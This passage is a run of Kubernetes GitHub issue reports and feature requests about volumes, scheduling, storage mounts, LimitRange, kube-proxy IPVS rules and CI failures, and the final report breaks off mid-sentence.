<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r we would like a way to dynamically generate host paths when mounting volumes. the  subpath  feature creates directories on demand, but the names assigned to those directories are static.\r \r supporting the downward api variables would provide a good way to share storage and avoid collisions.\r centralized log storage is one use case.\r \r for example, \r \r    \r         volumemounts:\r         - mountpath: /var/log/mysql\r           name: logs\r           subpathfrom:\r             fieldref:\r               fieldpath: metadata.name\r       volumes:\r       - name: logs\r         hostpath:\r           path: /mnt/log-repo\r    \r \r another option,\r \r    \r         env:\r         - name: name\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.name\r         volumemounts:\r         - mountpath: /var/log/mysql\r           name: logs\r           subpath: $ name \r       volumes:\r       - name: logs\r         hostpath:\r           path: /mnt/log-repo\r    \r \r over time, the host storage would look something like this, and the containers would not need to change any of their logging logic.\r \r    \r /mnt/log-repo/mysql-1174854418-p8t02\r /mnt/log-repo/mysql-1174854418-plsf8\r /mnt/log-repo/mysql-3521978760-ns129\r /mnt/log-repo/mysql-3521978760-s1m6x\r /mnt/log-repo/mysql-3957873462-k4gg7\r /mnt/log-repo/mysql-3957873462-rqsr1\r

 \r   what happened  :\r continuing the discussion from https://github.com/kubernetes/kubernetes/pull/50730, we should deprecate  or remove since its alpha  the option to set  --cloud-provider=auto-detect . see comment https://github.com/kubernetes/kubernetes/pull/50730 issuecomment-323531048 and https://github.com/kubernetes/kubernetes/pull/50730 issuecomment-323531248 for more details. \r \r related issues: https://github.com/kubernetes/kubernetes/issues/48690\r related kubernetes-dev thread: https://groups.google.com/forum/ !topic/kubernetes-dev/uaxwa2inbta\r \r \r edit:\r \r deprecation plan:\r -  x  v1.8 - deprecate auto-detect cloud provider feature in kubelet\r -     v1.9 - set no cloud provider as the default in kubelet but still allow opt in for auto-detect\r -     v1.10 - completely remove the option to use  auto-detect  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r today predicate functions return  errpodaffinitynotmatch  for these three cases: 1  pod affinity rules failed, 2  pod anti-affinity rules failed, 3  pod violated other pods anti-affinity rules. we should return a specific error in each one of these three cases. separate error codes help when processing these failures in other parts of the code. for example, preemption logic does not need to attempt preempting any pods when a pending pod cannot be scheduled because of its own affinity rules.\r \r in order to keep backward compatibility, it would be better to keep the existing error   errpodaffinitynotmatch   and add three new ones which are returned in addition to   errpodaffinitynotmatch .\r \r @kubernetes/sig-scheduling-feature-requests

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm implementing a scheduler extender, which handles the delegated \ bind\  call from kube-scheduler. in the bind call, the extender first modified the annotation of the pod and then bound the pod to the node.\r \r the following error was printed in kube-scheduler's log:\r \r    \r e0920 17:12:53.031408 18442 scheduler.go:235  scheduler cache assumepod failed: pod default/test-pod state wasn't initial but get assumed\r    \r \r https://github.com/kubernetes/kubernetes/blob/74604d123d7e98da941f765a4353450cfd515b5d/plugin/pkg/scheduler/scheduler.go l235-l241\r \r this was what happened:\r \r 1. kube-scheduler can detect new unassigned pods or updates of such pods.\r 2. kube-scheduler calculated the preferred node and call \ bind\  on the extender.\r 3. the extender changed the pod annotations, which triggered an update on the this not-yet-assigned pod, which was detected by kube-scheduler as in step 1.\r 4. the extender bound the preferred node to the pod.\r 5. kube-scheduler detected the updated triggered in step 3, and generated the error since this pod has already been assumed.\r \r i think this can happen if the pod gets updated during scheduling rarely but it always happens in my extender case.\r \r   what you expected to happen  :\r \r the scheduler should handle the updates of the unassigned pods more gracefully during their scheduling, by checking the existing assumed pod in the cache before processing the pod update.\r \r  /assign

we have pushed the 1.8.1 based client-go https://github.com/kubernetes/kubernetes/issues/53808. what do we need to tag 5.0.0 or 5.0.1?\r \r todo:\r -     update readme.md\r -     create changelogs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  \r there are some failures in ubuntu-gce-ipvs ci job. see, http://k8s-testgrid.appspot.com/google-gce ubuntu-gce-ipvs\r \r   what you expected to happen  :\r \r we want to see ci job green!!\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r @lion-wei @stewart-yu in my team will together take care of gci-gce-ipvs ci job.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r some hostports are unreachable.\r \r   what you expected to happen  :\r all hostports are reachable.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add multiple hostport when creating an deployment, e.g. ports 57119/55429/56833\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

some mount propagation magic in kubernetes on ubuntu 16.04 on gce duplicates every mount.\r \r    \r /dev/sdb on /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r    \r \r   steps to reproduce  :\r on recent master. install kubernetes on gce on ubuntu:\r \r    \r kube_gce_node_image=ubuntu-gke-1604-xenial-v20170816-1 kube_gce_node_project=ubuntu-os-gke-cloud kube_node_os_distribution=ubuntu num_nodes=1 cluster/kube-up.sh\r    \r \r run a pod with a gce pd volume:\r    shell\r $ kubectl create -f - <<eof\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: myclaim\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 3500mi\r eof\r \r $ kubectl create -f - <<eof\r apiversion: v1\r kind: pod\r metadata:\r   name: testpod\r   labels:\r     name: test\r spec:\r   restartpolicy: never\r   containers:\r     - image: gcr.io/google_containers/busybox\r       command:\r         - \ /bin/sh\ \r         - \ -c\ \r         - \ while true; do date; sleep 1; done\ \r       name: busybox\r       volumemounts:\r         - name: vol\r           mountpath: /mnt/test\r   volumes:\r       - name: vol\r         persistentvolumeclaim:\r           claimname: myclaim\r eof\r    \r \r the volume looks like it's mounted twice in  mount  output on the node:\r    \r $ mount\r /dev/sdb on /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/jsafrane-e2e-dynamic-pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /var/lib/kubelet/pods/72af9e0a-d6ab-11e7-ae65-42010a800002/volumes/kubernetes.io~gce-pd/pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /var/lib/kubelet/pods/72af9e0a-d6ab-11e7-ae65-42010a800002/volumes/kubernetes.io~gce-pd/pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/72af9e0a-d6ab-11e7-ae65-42010a800002/volumes/kubernetes.io~gce-pd/pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/72af9e0a-d6ab-11e7-ae65-42010a800002/volumes/kubernetes.io~gce-pd/pvc-6a52f546-d6ab-11e7-ae65-42010a800002 type ext4  rw,relatime,data=ordered \r    \r \r deleting this pod will unmount everything correctly in gce pd case, however it won't unmount ceph rbd:\r \r    \r operation for \ \\\ kubernetes.io/rbd/ 10.64.0.17 :foo\\\ \  failed. \r rbd: more than 1 reference counts at /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-foo\r    \r \r there seems to be some bind-mount && rshared propagation magic happening in google's helper mounter container that makes a mount appear twice. note that mountpropagation and mountcontainers are disabled in this cluster, so it can't be the culprit.\r \r i can probably fix reference counting in rbd, however this doubling of mounts looks very ugly and may have other consequences than just failed rbd teardown.\r \r   @kubernetes/sig-storage-bugs \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r \r   what happened  :\r i know i have a deployment scheduled in a preemptive node pool . at the time when the node is terminated and created, i saw the pod destroyed and created on the node which met my expect.\r the node age is around 15 minutes and the pods are around 14 minutes.\r 6 hour later,  i check the node and pods age again, the pod age is elder than the node,\r like the pods themselves have never been deleted.\r   \r - the node age\r \r    \r mem-4a962b8d-s6m6      ready     <none>    6h        \r    \r - the pod age\r \r    \r vc-6f6995dbd7-kzpgx   2/2       running   0          1d        \r    \r \r - the pod  description\r \r    \r name:           vc-6f6995dbd7-kzpgx\r namespace:      default\r node:           mem-4a962b8d-s6m6/10.240.0.28\r start time:     thu, 15 mar 2018 12:30:36 +0800\r labels:         app=vc\r                 pod-template-hash=2925518683\r ...\r    \r as you can see, the pod   vc-6f6995dbd7-kzpgx    is elder than the pod \ mem-4a962b8d-s6m6\ .\r is this a bug or i misunderstand the concepts?\r @kubernetes/sig-cluster-lifecycle-bugs\r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r can't compile kubectl with master branch, i think it was because generated bindata was deleted, so compiling failed\r    \r ➜  kubernetes git: master  go build cmd/kubectl/kubectl.go \r   k8s.io/kubernetes/pkg/kubectl/util/i18n\r pkg/kubectl/util/i18n/i18n.go:106:16: undefined: generated.asset\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubernetes version   : v1.9.1\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r   docker image  : centos:7.3.1611 （the official image）\r you can found in https://hub.docker.com/_/centos/\r \r   yaml:   \r ---\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test1\r   namespace: default\r spec:\r   template:\r     metadata:\r       labels:\r         app: test1\r     spec:\r       nodeselector:\r         node: \ 1\ \r       hostname:\r         compute4\r       hostnetwork: true\r       containers:\r       - name: test-service-account\r         image: centos:7.3.1611\r         imagepullpolicy: ifnotpresent\r         securitycontext:\r           capabilities:\r             add:\r             - all\r           privileged: true\r         env:\r         - name: container\r           value: docker\r         command:\r           - \ /usr/sbin/init\ \r         volumemounts:\r           - name: sys-ctl\r             mountpath: /sys/fs/cgroup\r             readonly: true\r       volumes:\r       - name: sys-ctl\r         hostpath:\r          path: /sys/fs/cgroup\r    \r \r \r   kubectl  describe:  \r    \r name:           test1-8564b59998-xn2jl\r namespace:      default\r node:           compute4/172.18.135.2\r start time:     thu, 03 may 2018 05:40:44 +0000\r labels:         app=test1\r                 pod-template-hash=4120615554\r annotations:    <none>\r status:         running\r ip:             172.18.135.2\r controlled by:  replicaset/test1-8564b59998\r containers:\r   test-service-account:\r     container id:  docker://e781f9bb84bf13ee953cf8437ecf746fb7b9719034b72f3f108f451f3bb6993c\r     image:         centos:7.3.1611\r     image id:      docker://sha256:66ee80d59a68047e6eac9fc10cbe698f15bd369bd8bbd512857bdd65cdecf601\r     port:          <none>\r     command:\r       /usr/sbin/init\r     state:          running\r       started:      thu, 03 may 2018 05:40:47 +0000\r     ready:          true\r     restart count:  0\r     environment:\r       container:  docker\r     mounts:\r       /sys/fs/cgroup from sys-ctl  ro \r         /var/run/secrets/kubernetes.io/serviceaccount from default-token-z8kp8  ro   \r conditions:\r   type           status\r   initialized    true \r   ready          true \r   podscheduled   true \r volumes:\r   sys-ctl:\r     type:          hostpath  bare host directory volume \r     path:          /sys/fs/cgroup\r     hostpathtype:  \r   default-token-z8kp8:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-z8kp8\r     optional:    false\r qos class:       besteffort\r node-selectors:  node=1\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type    reason                 age   from               message\r   ----    ------                 ----  ----               -------\r   normal  scheduled              5m    default-scheduler  successfully assigned test1-8564b59998-xn2jl to compute4\r   normal  successfulmountvolume  5m    kubelet, compute4  mountvolume.setup succeeded for volume \ sys-ctl\ \r   normal  successfulmountvolume  5m    kubelet, compute4  mountvolume.setup succeeded for volume \ default-token-z8kp8\ \r   normal  pulled                 5m    kubelet, compute4  container image \ centos:7.3.1611\  already present on machine\r   normal  created                5m    kubelet, compute4  created container\r   normal  started                5m    kubelet, compute4  started container\r \r    \r \r   kubectl get serviceaccount \r name      secrets   age\r default   1         6d\r \r \r \r \r we enter the container（docker exec -it conatinerid bash）, found that /var/run/secrets/kubernetes.io/serviceaccount is not existed.\r \r is this the centos image's problem?\r \r \r

what happened  :  \r when creating a statefulset that uses volumeclaimtemplates, the resulting persistentvolumeclaims have incorrect labels.  instead of using the labels defined in their metadata, they use the labels from the statefulset's selector.\r \r   what you expected to happen  :\r i expect the created persistentvolumeclaims to have the labels defined in their metadata.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: bugdemo-service\r   labels:\r     app: bugdemo-service\r     extralabel: fromservice\r spec:\r   ports:\r     - name: nginx\r       targetport: 80\r       port: 80\r   clusterip: none\r   selector:\r     app: bugdemo-statefulset\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: bugdemo-statefulset\r   labels:\r     app: bugdemo-statefulset\r     extralabel: fromstatefulset\r spec:\r   selector:\r     matchlabels:\r       app: bugdemo-pod\r   servicename: bugdemo-service\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: bugdemo-pod\r         extralabel: frompodtemplate\r     spec:\r       containers:\r       - name: bugdemo-nginx\r         image: nginx:stable\r         resources:\r           requests:\r             cpu: \ 100m\ \r             memory: \ 1gi\ \r         ports:\r           - containerport: 80\r         volumemounts:\r           - name: nginx-data\r             mountpath: /var/log/dummy\r   volumeclaimtemplates:\r     - metadata:\r         name: nginx-data\r           in the resulting persistentvolumeclaim, these\r           labels are replaced with the statefulset's selector\r         labels:\r           app: bugdemo-volumeclaim\r           extralabel: fromvolumeclaimtemplate\r       spec:\r         accessmodes:\r           - readwriteonce\r         storageclassname: standard\r         resources:\r           requests:\r             storage: \ 1gi\ \r    \r \r resulting persistentvolumeclaim:\r \r    \r $ kubectl get pvc --show-labels\r name                               status   volume                                     capacity   access modes   storageclass   age   labels\r nginx-data-bugdemo-statefulset-0   bound    pvc-7917ee4f-3ec7-11e9-917f-42010axxxxxx   1gi        rwo            standard       1m    app=bugdemo-pod\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-13t23:15:13z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.7-gke.4\ , gitcommit:\ 618716cbb236fb7ca9cabd822b5947e298ad09f7\ , gittreestate:\ clean\ , builddate:\ 2019-02-05t19:22:29z\ , goversion:\ go1.10.7b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - install tools:  kubectl \r - others:\r \r @kubernetes/sig-apps-apps . \r 

what happened  :\r  limitrange  was applied to my namespaces with existing pods running. most of these are lightweight but a few had resource  requests  that exceeded the new  limit .\r \r for example, an existing container would have:\r    \r             resources:\r               requests:\r                 cpu: \ 200m\ \r                 memory: \ 2g\ \r    \r then we applied this:\r    \r apiversion: v1\r kind: limitrange\r metadata:\r   name: default-limits\r spec:\r   limits:\r   - default:\r       cpu: \ 1\ \r       memory: \ 1gi\ \r     defaultrequest:\r       cpu: \ 100m\ \r       memory: \ 64mi\ \r     type: container\r    \r \r after a day or so  not exactly sure, but it wasn't immediate , these existing pods started restarting. two examples from different pods are:\r    \r events:\r   type     reason                  age                  from                                                 message\r   ----     ------                  ----                 ----                                                 -------\r   warning  failedcreatepodsandbox  37m  x256 over 86m   kubelet, ip-10-10-25-113.us-west-2.compute.internal   combined from similar events : failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 842e59c905d4d262a0e9bd532502bc0fcd039ec7b608f1345a50232a309b5f5f\  network for pod \ marketing-grav-7d9c6b68d5-hh4pp\ : networkplugin cni failed to set up pod \ marketing-grav-7d9c6b68d5-hh4pp_default\  network: unable to allocate ip address: post http://127.0.0.1:6784/ip/842e59c905d4d262a0e9bd532502bc0fcd039ec7b608f1345a50232a309b5f5f: dial tcp 127.0.0.1:6784: connect: connection refused\r   warning  failed                  10m  x11 over 84m    kubelet, ip-10-10-25-113.us-west-2.compute.internal  error: context deadline exceeded\r   normal   sandboxchanged          4s  x569 over 87m    kubelet, ip-10-10-25-113.us-west-2.compute.internal  pod sandbox changed, it will be killed and re-created.\r    \r and\r    \r events:\r   type     reason                  age                   from                                                 message\r   ----     ------                  ----                  ----                                                 -------\r   warning  unhealthy               50m  x34 over 51m     kubelet, ip-10-30-23-181.us-west-2.compute.internal  readiness probe failed: get http://100.125.130.100:15020/healthz/ready: dial tcp 100.125.130.100:15020: connect: connection refused\r   warning  failedcreatepodsandbox  40m  x3464 over 12h   kubelet, ip-10-30-23-181.us-west-2.compute.internal   combined from similar events : failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 08e491ffabd9c7553c8331ea1c577448839aa53ecc768f754b985498fabcaa23\  network for pod \ growth-report-proxy-8bb7fb86c-wdm5d\ : networkplugin cni failed to set up pod \ growth-report-proxy-8bb7fb86c-wdm5d_default\  network: unable to allocate ip address: post http://127.0.0.1:6784/ip/08e491ffabd9c7553c8331ea1c577448839aa53ecc768f754b985498fabcaa23: dial tcp 127.0.0.1:6784: connect: connection refused\r   warning  unhealthy               35m                   kubelet, ip-10-30-23-181.us-west-2.compute.internal  readiness probe failed: get http://100.125.130.112:15020/healthz/ready: dial tcp 100.125.130.112:15020: connect: connection refused\r   warning  unhealthy               19m                   kubelet, ip-10-30-23-181.us-west-2.compute.internal  readiness probe failed: get http://100.125.130.128:15020/healthz/ready: dial tcp 100.125.130.128:15020: connect: connection refused\r   warning  unhealthy               3m10s                 kubelet, ip-10-30-23-181.us-west-2.compute.internal  readiness probe failed: get http://100.125.130.142:15020/healthz/ready: dial tcp 100.125.130.142:15020: connect: connection refused\r   normal   sandboxchanged          23s  x3779 over 12h   kubelet, ip-10-30-23-181.us-west-2.compute.internal  pod sandbox changed, it will be killed and re-created\r    \r it's difficult to pinpoint the cause and effect here, but the host that these pods were on also started to have problems. there were many other pods failing but i think it all came down to weave crashing as well, which is probably related to some of the messaging above about ip addresses.\r \r there may be a weave issue here as well, but i want to start on the k8s side because of this:\r if i manually restart the pod exceeding limits  from before  limitrange  was created , it comes back with the limits applied and everything  including weave  recovers.\r \r   what you expected to happen  :\r limitrange either fully applies to existing pods or doesn't; but does not behave in strange ways that causes crashes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm not certain if it's easily reproducible yet, but my best guess would be:\r 1. set up a cluster with weave cni  maybe not required \r 2. run a memory-intensive container with a 1gi memory request claim\r 3. set a  limitrange  that limits containers to something lower, like 128mi\r 4. wait? use more than 128mi? unsure about this part\r 5. observe pod is failing with the above errors and unable to start back up\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.8\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : debian stretch\r - install tools: kops\r - network plugin and version  if this is a network-related bug : weave 2.5.0

e.g., if you're adding v2alpha1, you may want to store objects in v1 still. but then how can you test the alpha objects at all? so the storage version codec should first try v1, then try v1alpha1.  this came up in  21675.  i think this is just fixing the codec setup.

if secret contents could be encrypted/decrypted by an encryption provider plugin  e.g., kms on aws  running in the kube master or in kubelets  though the kubelet option may require more complex iam setup , then it would be acceptable to check in secret manifests into source control.  this is a significant pain point for my team at the moment.

to make it easier to migrate from heroku or cf to k8s.  not sure how feasible it is, but here's the heroku spec: https://devcenter.heroku.com/articles/app-json-schema  it's an all-in-one spec that includes functionality we don't currently support, such as builds, \ addon\  services, and probably some of the lifecycle scripts. we could translate a subset and print warnings about unsupported features.  cf: https://docs.cloudfoundry.org/devguide/deploy-apps/manifest.html  cc @janetkuo @pwittrock @smarterclayton

see discussion from here:  https://github.com/kubernetes/kubernetes/pull/31636 issuecomment-243617070  clients that use discovery services with dynamic client will make this call.  the namespace controller for example makes this call.  /cc @cjcullen @yujuhong

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-large-cluster/148/  failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner should create and delete persistent volumes  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:136 expected error:     < errors.errorstring | 0xc420f2a020>: {         s: \ persistentvolume pvc-4f514519-a65c-11e6-a8ff-42010af00002 still exists within 20m0s\ ,     }     persistentvolume pvc-4f514519-a65c-11e6-a8ff-42010af00002 still exists within 20m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:102       previous issues for this test:  32185  32372

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r quota, time  week , cpu time\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r \r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r -->\r \r we would like to see a feature where it is possible to specify quotas like cpu time/running time in the cluster. currently one can only set a specific amount of cpus, memory etc.\r \r the goal is to achieve some setting like the fair-share option with the slum scheduler:\r \ instead, the fair-share factor serves to prioritize queued jobs such that those jobs charging accounts that are under-serviced are scheduled first, while jobs charging accounts that are over-serviced are scheduled when the machine would otherwise go idle.\ \r  https://slurm.schedmd.com/priority_multifactor.html fairshare  https://slurm.schedmd.com/priority_multifactor.html fairshare

there are two issues:\r \r    initializers.pending  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l251  doesn't have merge key\r \r   the validation code regards it as an error if both initializers.result and initializers.pending are nil. so if multiple initializer controllers sending patches removing themselves from initializers.pending at the same time, the last patch that gets applied will get a validation error.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r two bugs reported in kube-proxy ipvs mode, see:\r \r  53393 \r \r  53775 \r \r i think the root cause is missing snat masq  rules. we can employ iptables, but i am worried about the performance issue. as @song-jiang and @fasaxc suggested, there is a better solution, the ipset. we can put the  ip:port  in a ip sets and then only need to build a static iptables rule, like\r \r 1. create a kube-mark-masq chain in nat table,\r \r    \r chain kube-mark-masq  1 references \r target     prot opt source               destination         \r mark       all  --  0.0.0.0/0            0.0.0.0/0            mark or 0x4000\r    \r \r 2. jump to masquerade when mark match 0x4000/0x4000\r \r    \r chain kube-postrouting  1 references \r target     prot opt source               destination         \r masquerade  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r    \r \r \r 3. jump to kube-mark-masq for any matched ipset,\r \r    \r ipset -n myset hash:ip,port\r ipset -a myset 1.1.1.1,tcp:8080\r \r iptables -a prerouting -m set --set myset {src,src|dst,dst} -j kube-mark-masq\r iptables -a output-m set --set myset {src,src|dst,dst} -j kube-mark-masq\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area kube-proxy\r

failure cluster  9c0f0ea69594c02d7bb7  https://go.k8s.io/triage 9c0f0ea69594c02d7bb7        error text:     kubetest --timeout triggered           failure cluster statistics: 1 tests failed,    36 jobs failed,    73 builds failed. failure stats cover 1 day time range '26 oct 2017 22:06 utc' to '27 oct 2017 22:06 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | timeout | 36 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel | 5 |  27 oct 2017 19:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/407  | | ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-default | 5 |  27 oct 2017 19:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-default/2065  | | ci-kubernetes-e2e-gce-ubuntudev-k8sstable1-default | 5 |  27 oct 2017 19:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sstable1-default/1955  |   current status  https://go.k8s.io/triage 9c0f0ea69594c02d7bb7

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when you create an apiregistration resource, you need to provide the service and the namespace for lookup purposes. what's bothersome about this approach, is that you must first create the service before you can go create certs and setup the resource, because it looks up the service ip address. if you allowed use of dns name, or did a lookup on the corresponding name, you could really simplify the life of this. \r   what you expected to happen  :\r use of dns values, over the service ip address.\r   how to reproduce it  as minimally and precisely as possible   :\r create a service with ssl, create your apiregistration resource, try to query.\r \r results:\r    kubectl get --raw /apis/custom.metrics.k8s.io/v1beta11.custom.metrics.k8s.io\r error from server  internalerror : an error on the server  \ error: 'x509: certificate signed by unknown authority  possibly because of \\\ crypto/rsa: verification error\\\  while trying to verify candidate authority certificate \\\ kubernetes\\\  '\ trying to reach: 'https://100.65.132.130:443/apis/custom.metrics.k8s.io/v1beta1'\   has prevented the request from succeeding   \r despite having a valid chain. \r \r   anything else we need 